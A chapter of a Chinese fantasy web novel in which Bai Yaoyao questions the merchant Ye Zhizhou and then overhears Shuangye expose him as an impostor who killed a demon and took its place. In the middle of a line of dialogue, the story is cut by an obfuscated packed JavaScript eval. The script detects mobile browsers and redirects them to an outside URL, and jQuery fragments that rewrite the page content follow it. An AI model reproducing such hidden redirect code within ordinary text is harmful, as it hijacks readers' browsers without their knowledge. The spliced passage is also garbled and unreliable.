自从和周延玉在小巷解决了那两个来历不明的妖怪时,白夭夭心中就一直惦记着这件事。
她知道这事和叶知舟有关,但却找不到什么合适的时机开启这个话题来试探这个老狐狸。
以至于这几日与他相处时,她总显得心不在焉、欲言又止。
“你有心事?”叶知舟敏锐地察觉到她的异样。
“没……”白妖妖先是支支吾吾,然后话锋一转,暗戳戳道,“也不是什么大事。”
“是身边多了只狗不习惯吗?”叶知舟冷不丁来了这么一句。
“啊?狗……”白夭夭愣了几秒才反应过来,“哦,你说那只小狗啊,我送给灵姐了。”
“怎么?新鲜劲过去了,就不喜欢了吗?”叶知舟笑着讽刺她。
“什么呀?是我顾不上它,让灵姐帮我看一下而已。”
叶知舟意味深长道:“那我劝你不用再要回来了。”
“为什么?”
“在幽都这片地方,保不齐他是只狗,还是什么别的东西,你可得小心了。”
白夭夭听懂了他的暗示,心中大喜,这不是好机会吗?
她顺势接话:“这只狗不会是你故意安排在我身边的吧?你说,他是什么东西?”
“你记性不大好了,这狗难道不是某人送给你的吗?”叶知舟明晃晃道,“需要我帮你回忆一下吗?”
白夭夭顿时心底一凉,原来他早就知道了。
随之而来的是后怕,叶知舟到底在她身边安排了多少眼线,她为什么浑然不觉?
既然这样,她也没必要和叶知舟再迂回了。
“你和那些妖怪之间到底有什么见不得人的勾结?”
叶知舟怔愣片刻,而后笑了:“你都说见不得人了,那我怎么好说呢?”
“那你就别怪我,在外面乱传你的谣言了。”白夭夭胡搅蛮缠威胁道。
“夭夭啊。”叶知舟叫得亲昵,但却笑里藏刀,“是不是我对你有些过于宽容了呢?”
“宽容?”
白夭夭见他这幅理直气壮的模样,火气蹭一下的就上来了。
“我怎么你了吗?你对我很好吗?别在我面前一副高高在上的样子,你以为你在施舍我吗?在我身边无数个看不见的眼线,你管这叫宽容?”
“我那是为了保护你的安危。”叶知舟辩驳道。
“安危?我告诉你,你才是我身边最大的危险,你能远离我,躲得远远的,才是对我最大的保护,懂吗?”
叶知舟扭过头去,不置可否。
就在白夭夭以为自己破罐子破摔,事情彻底没有转机之时,叶知舟竟主动开口了。
“不过是一些商人之间的交易,我能和他们这些愚蠢的妖怪有什么勾结。”
“什么交易?”白夭夭追问。
“他们要身体,我这里反正多得是,便卖给他们,就这么简单。”
“那无忧阁呢?”
“无忧阁是无忧阁的生意,和他们没关系。”
尽管叶知舟主动开口了,但白夭夭知道,他肯定不会说实话的。
“那霜叶呢,她又是干嘛的?你那些什么忘情水,又是怎么搞来的?”
白夭夭还是试图从他的回应中找出一些蛛丝马迹。
“霜叶是我雇来保护我的,你知道这些妖怪,头脑简单,四肢发达,和我们不一样,总喜欢动点粗。”
叶知舟回答的滴水不漏,但却自动跳过了第二个问题。
“忘情水呢?”白夭夭刨根问底。
“不过是些□□罢了。”
叶知舟回答的这么坦然,白夭夭忍不住道:“真是个奸商。”
“忘情水是什么不重要,重要的是我能解决他们的困扰和烦恼。”叶知舟大言不惭回应。
聊到这,白夭夭知道不可能再从叶知舟嘴里套出什么有用的话,扭头准备离开。
“今夜我要在忘川河畔放花灯,空了你可以看看。”叶知舟突然叫住她。
“免了,我可是还要干活的,不像你有这种闲情雅致的人。”
白夭夭果断拒绝,潇洒转身离去。
推门而出时,正巧和前来找叶知舟的霜叶迎面撞见。
两人只是匆匆对视一眼,又默契飞速移开视线。
霜叶进去后,白夭夭并没有立刻离开。
哪有比这更好的偷听机会呢,大不了发现了被撵走了也不会怎么样。
她当即蹲下身,用耳朵紧贴着门面。
“还不动手,你要等到什么时候?”
白夭夭清晰听见了霜叶率先不耐烦的质问声。
“别急,快了。”叶知舟不紧不慢回应道。
“杀人诛心你很有一套嘛?你这样做……”霜叶停顿片刻,又道:“不怕某人生气吗?”
“我是在帮她,帮她认清现实好知难而退,有什么好怕的。”
叶知舟一如既往的自信。
虽然门外的白夭夭听是听清楚了,但听得一头雾水。
“有一些事情,我很好奇,你和冥王之间是什么关系?”
自从霜叶杀死忘川河边的妖兽全身而退之后,她就疑惑这个问题了。
她知道自己能得到内部消息成功潜入,并且还可以好端端站在这里,一定有人在运作。
而这个人,只可能是叶知舟。
“这些他难道没和你说吗?”叶知舟将话题引向了周玄玉。
“我只是他的下属。”
“那你又是我的谁呢?”
叶知舟反问的言外之意,自己没有解释的义务。
“既然这样的话。”霜叶显然并不意外他的回答,“那我也没有必要替你的身份多做隐瞒了。”
“我为人向来坦荡,没有见不得人的事。”叶知舟仍然镇定。
“是吗?那我可要提醒一下你,我们为什么选择和你合作,因为你是我们的同类。”霜叶围着叶知舟一边审视一边踱步道,“但真相好像不是这样呢?”
什么意思,叶知舟是妖怪吗?白夭夭彻底蒙圈了。
“木已成舟,我们早就是一条船上的蚂蚱了,真相是什么?这重要吗?”叶知舟不慌不忙道。
“这当然不重要,重要的是在你心里,是过去的你,还是现在的你呢?”
霜叶继续说着白夭夭听不懂的话。
“我就是我,哪有什么过去和现在。”叶知舟并不打算回应她。
“看来是我要把话说得更明白一些。”霜叶叫他油盐不进,直白道
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17172920|189398||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,“过去的你寄人篱下穷困潦倒,可是突然有一天摇身一变,成为了芜月楼受人尊敬的老板,你说蹊跷不蹊跷。”
叶知舟现在的位置,是通过不正当手段得来的吗?
“哪有人是一帆风顺的,总得受点挫折,这算什么蹊跷事?”叶知舟无比坦然面对。
“那一直和我们有合作的叶老板性情大变,也不算吗?”
这是霜叶第一次叫叶知舟的称呼,只不过不是对着眼前这个人。
叶知舟不置可否。
“你比我想象中更有能耐,竟然能杀死这么一个老谋深算的妖怪,并且取而代之,还能安然无恙。”
霜叶打开天窗说亮话了。
这回白夭夭总是是听懂了,叶知舟本来不是叶知舟,而是冒充了别人,一个妖怪。
“所以你想怎么样,为同类报仇吗?”被霜叶戳穿后,叶知舟也丝毫不惧。
“我没那么热心肠,只不过想找你确认一下,你的心,到底属于哪边?”
从始至终,霜叶关心的从来不是他的身份,而是他的朝向,毕竟他们不是同类,因此,他们的合作,也就多了一丝风险。
“原来如此。”叶知舟忽然释然笑了,“我不属于任何一边,我认为这个问题没有任何意义,我已经是死过一遍的人了,也没有投胎的打算,何必纠结这种事情。”
“但我们非要纠结呢?”霜叶并不满意他模棱两可的答案。
“还是那句话,谁对我有利,我就在谁那一边。”
比起叶知舟信誓旦旦表明自己和他们一条心,霜叶也是不会信的,这样的回应,更在情理之中。
“他究竟允诺了你什么?”霜叶问道,“你就不怕自己这样里外不是人,将来被推出来背锅受罚吗?”
“不过各取所需罢了,再说了,我又没做错什么,只不过想为了两界更加的和平而已,怎么会受罚呢?”
叶知舟说得理直气壮。
霜叶冷笑一声,讥讽道:“我想你一定是个不见棺材不落泪的人,将来有机会,我会给你送行的。”
“盼我没的人太多了,很抱歉,你可能见不到这么一天。”
叶知舟笑脸相迎。
“是啊,曾经过得这么辛苦,当然惜命了,我可是听说叶老板有养娈童的癖好呢,不知道……”
“谣言听多了是会变蠢的。”叶知舟脸色突变,冷言威胁道,“小心走夜路跌倒,死了都不知道怎么回事。”
听到叶知舟恶毒的诅咒,霜叶不气反笑,说了这么多,总是挑起一点他的情绪了。
“不说这个了,你曾经的名字听说很草率呢,像什么阿猫阿狗的名字,我记得是……”
“霜叶。”叶知舟再次打断了她,咬牙威胁道,“我不介意再杀死一个妖怪。”
“好了,点到为止。”霜叶见好就收,满不在意的笑道,“记得快点给我消息哦,我可没耐心了。”
话题又回到了一开始,但是气氛已经凝固,他们也没有深入了下去的意图。
不过比起他们在密谋的事情,白夭夭也收获了很多。
尤其是关于叶知舟不堪回首的过去。
难怪他能和小五认识,某种意义上来看,他们过去的经历还是挺相似的。